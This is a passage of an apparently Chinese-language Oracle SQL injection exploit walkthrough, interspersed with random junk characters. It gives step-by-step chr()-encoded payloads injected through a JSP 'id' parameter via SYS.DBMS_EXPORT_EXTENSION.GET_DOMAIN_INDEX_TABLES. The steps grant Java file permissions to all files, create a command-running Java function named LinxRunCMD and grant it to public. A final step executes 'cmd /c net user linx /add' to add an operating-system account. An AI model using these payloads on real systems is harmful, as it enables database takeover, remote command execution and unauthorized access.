chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
5 M" J6 ~; [( S+ `chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||. R. [) n( w' x& C' L: ~
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
5 U, X' O( u5 N' M$ F6 J0 h' Vchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
4 z; ~8 A$ }$ O# b,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual$ o% M5 y: H7 Z" c5 y1 z
8 w4 ~' L" k: F)- X& b0 b6 x( E8 s
* W8 R3 i- M( ^8 o3 |, b! M* ~------------------------------
9 v- l; S7 e, d. h, L7 L5 g) x
2.赋Java权限) B+ K6 H6 Y9 g# }) q/ b1 E
/xxx.jsp?id=1 and chr(49)<>chr(50)||(! L5 @. T. W6 T# s `2 @
. f- B2 W: l* P! P5 o0 R. ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( D1 e7 }4 C% I6 [$ g7 n
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
" k" k/ L; g* y9 G: Y' Ichr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
) d" O9 o4 t% ] K8 Kchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||# n6 Q! U& Z0 x) M \+ `+ k
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)|| @6 j1 L4 j* k/ h3 u3 T7 N; Y9 R
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||! ^2 S* w( |: Q" s
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||7 i% H( m) f7 j$ u
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
1 r. t3 Q# i% s5 _' Rchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||& g7 y. U) e3 Z2 \$ D! q
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)( _* }4 s! c9 b6 x) v% ]! p8 ]
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual. U# p: u% [% F' H+ Z
4 ?7 m% g0 p9 v0 ]0 _& r. s)
5 {" U" @- o/ L, l4 E
/ E! [8 h# c* I0 [readfile函数的ascii版就不写了,见谅。
# j( Y8 p2 E: Y3 I6 W0 r
9 e, }% P) [$ n2 M" I1 a4 h3.创建函数4 o2 L4 D' g/ m$ P) ^
( s8 |! w9 r! S! g% cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),$ ?. z1 @$ t2 i% `
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
. m: O) i. b5 U# ^# Y5 {+ Pchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||% n9 j2 b: O. Z, t
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
# U9 l8 a6 x. K9 h* Echr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||7 Z) F1 H# |* n; U3 m* ^! O P
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
& j1 x W/ S$ K; `! q: m; Zchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||8 z# s- Q: V& r) D* h+ H/ ^! m3 X
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
% p: a2 y! n+ A o: d- Echr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
R5 v" c7 V% Fchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||& T( w4 H9 w7 }1 z" j
chr(59)||chr(45)||chr(45)/ A9 Z! G: |$ E/ Y N( }
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 Z0 l' Q6 _0 I$ |+ R4 |$ Y; [7 T& S/ e! V9 k
) [# k/ e8 t; V" f2 z( v4 n
( M+ n' u4 Z, ~" g p$ P$ I' v% y7 Y9 t
4.赋public执行函数的权限
2 D' ~1 f: S o) ]7 c% t/ M$ a% n0 U6 M# k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
# H3 ~6 e: F. |1 G7 S1 W+ g; U( Gchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
: P0 p7 v' G* ~$ Qchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 Q3 ~$ B9 l: k1 v- Mchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||* u6 u: k, H! @. B
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
) f, o' v, v" R: z' xchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
- P: `' \% c! Z& Achr(59)||chr(45)||chr(45)2 ?4 H4 P, ^3 ?8 a3 v+ `9 A ^
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' K. @' y+ l3 _: H+ \+ K
& ]. P" ^3 A, k/ b( ~; k+ y# q' ?. \. d8 `: I
1 q# W: f8 i. q; X' s, }
5.执行命令:
: Y; y! _% L, g! G: Q. J+ C- i' ?. z/ H- l
/xxx.jsp?id=1 and chr(49)<>chr(32)||(. @6 A; M+ Z1 [. R- d4 ^% {
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
8 h5 J8 x9 N$ @- O5 V)
% H1 X& u) ~+ ?5 I0 R
" z' z( C ~+ P* F& y3 h: [) ~1 U即( x H5 Y( {8 c5 y8 N: Y
/xxx.jsp?id=1 and chr(49)<>chr(32)||($ ^; J; n G6 s( b, l- E2 ^* b! Y' [
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual: c; ~. n3 ]" L1 G& C& j
)
( c2 A: R7 J( X( v9 s6 d |